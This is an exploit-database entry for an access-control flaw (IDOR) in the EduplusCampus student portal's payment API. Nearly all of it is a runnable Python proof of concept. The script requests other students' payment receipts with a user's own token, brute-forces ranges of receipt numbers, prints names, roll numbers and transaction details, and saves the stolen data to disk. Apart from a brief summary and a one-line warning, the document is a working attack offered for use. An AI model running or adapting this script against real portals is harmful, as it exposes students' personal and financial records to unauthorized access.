Share
## https://sploitus.com/exploit?id=PACKETSTORM:212772
=============================================================================================================================================
    | # Title     : EduplusCampus student portal v 3.0.1 Broken Access Control                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.edupluscampus.com                                                                                               |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211727/
    
    [+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1) 
                  that allows authenticated users to access other students' sensitive financial and personal information without proper authorization.
    			  
    			  
    [+]  POC : 
    
    #!/usr/bin/env python3
    """
    Proof of Concept: CVE-2025-61148
    IDOR Vulnerability in EduplusCampus Student Payment API
    Author: indoushka
    """
    
    import requests
    import json
    import sys
    import argparse
    from colorama import Fore, Style, init
    
    # Initialize colorama for colored output
    init(autoreset=True)
    
    class CVE202561148_POC:
        def __init__(self, base_url, auth_token):
            self.base_url = base_url.rstrip('/')
            self.headers = {
                'Authorization': f'Bearer {auth_token}',
                'Content-Type': 'application/json',
                'User-Agent': 'Mozilla/5.0 (Security-Test)'
            }
            
        def print_banner(self):
            """Display vulnerability banner"""
            banner = f"""
    {Fore.RED}โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘    CVE-2025-61148: IDOR Vulnerability POC                โ•‘
    โ•‘    EduplusCampus Student Payment API                     โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•{Style.RESET_ALL}
            """
            print(banner)
        
        def test_idor(self, original_rec_no, target_rec_no):
            """Test IDOR vulnerability by modifying rec_no parameter"""
            endpoint = f"{self.base_url}/student/get-receipt"
            
            # Original request (authorized)
            original_data = {
                "rec_no": original_rec_no
            }
            
            # Malicious request (unauthorized access attempt)
            malicious_data = {
                "rec_no": target_rec_no
            }
            
            print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}")
            
            try:
                # Test with original receipt number
                print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}")
                resp_original = requests.post(
                    endpoint,
                    headers=self.headers,
                    json=original_data,
                    timeout=30
                )
                
                # Test with target receipt number
                print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}")
                resp_target = requests.post(
                    endpoint,
                    headers=self.headers,
                    json=malicious_data,
                    timeout=30
                )
                
                # Analyze responses
                self.analyze_responses(resp_original, resp_target)
                
            except requests.exceptions.RequestException as e:
                print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}")
                return False
                
        def analyze_responses(self, resp_original, resp_target):
            """Analyze and compare the responses"""
            print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}")
            print(f"{'='*60}")
            
            # Original response
            print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}")
            print(f"    Status Code: {resp_original.status_code}")
            if resp_original.status_code == 200:
                try:
                    data = resp_original.json()
                    print(f"    Response Length: {len(resp_original.text)} characters")
                    if 'fullname' in data:
                        print(f"    Contains PII: {Fore.RED}YES{Style.RESET_ALL}")
                except:
                    print(f"    Response: {resp_original.text[:100]}...")
            
            # Target response
            print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}")
            print(f"    Status Code: {resp_target.status_code}")
            
            if resp_target.status_code == 200:
                try:
                    data = resp_target.json()
                    print(f"    Response Length: {len(resp_target.text)} characters")
                    
                    # Check if vulnerable
                    if 'fullname' in data or 'rollno' in data:
                        print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}")
                        print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}")
                        
                        # Display sensitive data (redacted for safety)
                        sensitive_keys = ['fullname', 'rollno', 'component_total_amount', 
                                        'trans_list', 'tid', 'date', 'amount']
                        
                        for key in sensitive_keys:
                            if key in str(data):
                                if key == 'fullname':
                                    print(f"    โ€ข Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}")
                                elif key == 'rollno':
                                    print(f"    โ€ข Roll Number: {data.get('rollno', 'N/A')}")
                                elif key == 'component_total_amount':
                                    print(f"    โ€ข Payment Amount: {data.get('component_total_amount', 'N/A')}")
                                elif key == 'trans_list':
                                    transactions = data.get('trans_list', [])
                                    if transactions:
                                        print(f"    โ€ข Transaction Details:")
                                        for trans in transactions:
                                            print(f"      - Date: {trans.get('date', 'N/A')}")
                                            print(f"      - Amount: {trans.get('amount', 'N/A')}")
                                            print(f"      - TID: {trans.get('tid', 'N/A')}")
                    
                        # Save proof
                        self.save_proof(data)
                        
                except json.JSONDecodeError:
                    print(f"    Response: {resp_target.text[:200]}...")
                    if len(resp_target.text) > 100:
                        print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}")
            else:
                print(f"    Response: {resp_target.text[:100]}...")
        
        def save_proof(self, data):
            """Save proof of concept results"""
            filename = f"idor_proof_cve_2025_61148.json"
            with open(filename, 'w') as f:
                json.dump(data, f, indent=2)
            print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}")
        
        def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100):
            """Attempt to discover valid receipt numbers"""
            print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}")
            print(f"    Range: {prefix}{start} to {prefix}{end}")
            
            found_receipts = []
            endpoint = f"{self.base_url}/student/get-receipt"
            
            for i in range(start, end + 1):
                rec_no = f"{prefix}{i}"
                
                data = {"rec_no": rec_no}
                
                try:
                    resp = requests.post(
                        endpoint,
                        headers=self.headers,
                        json=data,
                        timeout=10
                    )
                    
                    if resp.status_code == 200:
                        print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}")
                        found_receipts.append(rec_no)
                        
                        # Quick analysis
                        try:
                            resp_data = resp.json()
                            if 'fullname' in resp_data:
                                print(f"    Contains PII: YES")
                        except:
                            pass
                            
                except requests.exceptions.RequestException:
                    continue
            
            return found_receipts
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)")
        parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication")
        parser.add_argument("-o", "--original", help="Original receipt number (authorized)")
        parser.add_argument("-T", "--target", help="Target receipt number to test")
        parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode")
        parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force")
        
        args = parser.parse_args()
        
        # Initialize POC
        poc = CVE202561148_POC(args.url, args.token)
        poc.print_banner()
        
        print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}")
        
        if args.bruteforce:
            # Brute-force mode
            print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}")
            found = poc.brute_force_receipts(prefix=args.prefix)
            
            if found:
                print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}")
                for receipt in found:
                    print(f"    โ€ข {receipt}")
            else:
                print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}")
        
        elif args.original and args.target:
            # Specific test mode
            poc.test_idor(args.original, args.target)
        
        else:
            print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}")
            print(f"    Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824")
            print(f"    Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b")
            print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}")
    
    if __name__ == "__main__":
        main()
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================